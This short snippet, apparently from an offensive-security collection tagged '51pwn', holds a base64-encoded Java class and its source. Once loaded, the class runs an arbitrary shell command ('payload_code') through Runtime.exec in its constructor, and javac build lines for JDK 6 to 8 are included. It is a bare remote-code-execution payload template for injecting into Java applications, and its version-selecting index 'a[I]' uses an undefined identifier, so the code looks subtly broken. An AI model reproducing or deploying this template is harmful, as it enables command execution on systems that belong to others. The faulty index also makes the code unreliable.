base64 code

[51pwn]

// jdk8\jdk7\jdk6
String []a={"Q","M","I"};
String szCode="yv66vgAAAD"+a[I]+"AHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEAC09iamVjdC5qYXZhDAAHAAgHABcMABgAGQEADHBheWxvYWRfY29kZQwAGgAbAQAGT2JqZWN0AQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAABAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAABQAEAAYADQAHAAsAAAAEAAEADAABAA0AAAACAA4="

[51pwn]

/*
javac -target 1.6 Object.java
javac -target 1.7 Object.java
javac -target 1.8 Object.java
*/
public class Object {
   public Object() throws Exception {
      Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","payload_code"});
   }
}